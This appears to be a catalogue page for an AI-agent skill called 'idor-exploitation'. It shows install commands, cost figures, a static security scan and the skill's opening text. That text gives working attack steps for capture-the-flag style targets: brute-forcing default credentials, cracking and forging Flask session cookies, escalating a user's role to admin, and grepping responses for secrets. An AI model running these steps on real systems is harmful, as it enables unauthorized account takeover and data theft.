Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill idor-exploitationgit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/idor-exploitation)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/idor-exploitation"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/idor-exploitation/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/idor-exploitation"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/idor-exploitation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00054 | $0.04427 |
| Opus 5 | $0.00027 | $0.02214 |
| Sonnet 5 | $0.00011 | $0.00885 |
| Haiku 4.5 | $0.00005 | $0.00443 |
Grade B, and why
idor-exploitation scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -s -X PUT 'https://<TARGET>/api/user/1002' -H 'Cookie: session=<SESSION>' -d '{"role":"admin"}' Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \ How it starts
The opening of the file, as written. The whole thing — 304 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Insecure Direct Object References (IDOR)
Exploits missing or inadequate authorization checks on object references (IDs, filenames, GUIDs), allowing access to other users' resources.
Default Credentials Fast-Path (when default_credentials is a co-tag)
When default_credentials appears alongside idor in the challenge tags, attempt login FIRST before any IDOR probing:
# Try top default credential pairs in your FIRST exploit bash call
for creds in "admin:admin" "admin:password" "test:test" "admin:123456" "user:user" "admin:admin123"; do
user="${creds%%:*}"; pass="${creds##*:}"
resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \
-d "username=$user&password=$pass" -w '\n%{http_code}' 2>/dev/null)
code=$(echo "$resp" | tail -1)
[ "$code" = "200" ] || [ "$code" = "302" ] && echo "HIT: $user:$pass ($code)" && break
done
A valid session reduces all subsequent attack surface to authenticated endpoints — this is the fastest path to flag for dual-tag challenges. Only proceed to IDOR enumeration after confirming or exhausting default credentials.
Flask Session Cookie — SECRET_KEY Brute-Force Fast-Path
When to use: After logging in (default creds), if the session cookie starts with eyJ (base64) and contains a . separator without a JWT alg header — it is a Flask itsdangerous cookie. If modifying your own ID in the cookie to another user's ID causes a signature rejection, brute-force the SECRET_KEY IMMEDIATELY before doing any endpoint enumeration.
Evidence pattern (real-world evidence): test:test → user_id=10032 in Flask session → IDOR target at /order/<id>/receipt → cookie rejected when manually modifying user_id → SECRET_KEY your_secret_key found via flask-unsign → forged cookie with target user_id → flag.
# 1. Decode the Flask session cookie
pip install flask-unsign -q 2>/dev/null
flask-unsign --decode --cookie '<SESSION_COOKIE_VALUE>'
# 2. Brute-force the signing secret (try rockyou first, then common secrets)
flask-unsign --unsign --cookie '<SESSION_COOKIE_VALUE>' --wordlist /usr/share/wordlists/rockyou.txt --no-literal-eval
# Fallback: try common weak secrets inline
for secret in "secret" "secret_key" "your_secret_key" "flask_secret" "mysecret" "password" "admin" "changeme" "dev" "production"; do
result=$(flask-unsign --unsign --cookie '<SESSION_COOKIE_VALUE>' --secret "$secret" 2>/dev/null) && echo "SECRET: $secret" && break
done
# 3. Once secret found — forge a cookie with admin/target user_id
flask-unsign --sign --cookie "{'user_id': <TARGET_ID>, 'username': 'admin'}" --secret '<RECOVERED_SECRET>'
# 4. Use forged cookie to access target resources
curl -s "http://<TARGET>/order/<TARGET_ID>/receipt" -H "Cookie: session=<FORGED_COOKIE>" -o /tmp/idor_resp.txt
grep -iE 'secret|token|key|cred|flag' /tmp/idor_resp.txt
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 304 lines · 54 tokens per session scan B 34ee2a1993f9
idor-exploitation is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 54 tokens to every session and 4,427 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
web-app-pentest
../../../pentest/web-app-pentest/SKILL.md.
cis-aws-foundations-6.5
Ensure the default security group of every VPC restricts all traffic.
cis-aws-foundations-2.1.3
Ensure Organizations management account is not used for workloads.
cis-aws-foundations-2.12
Ensure access keys are rotated every 90 days or less.
cis-aws-foundations-2.7
Eliminate use of the 'root' user for administrative and daily tasks.
cis-aws-foundations-4.4
Ensure that server access logging is enabled on the CloudTrail S3 bucket.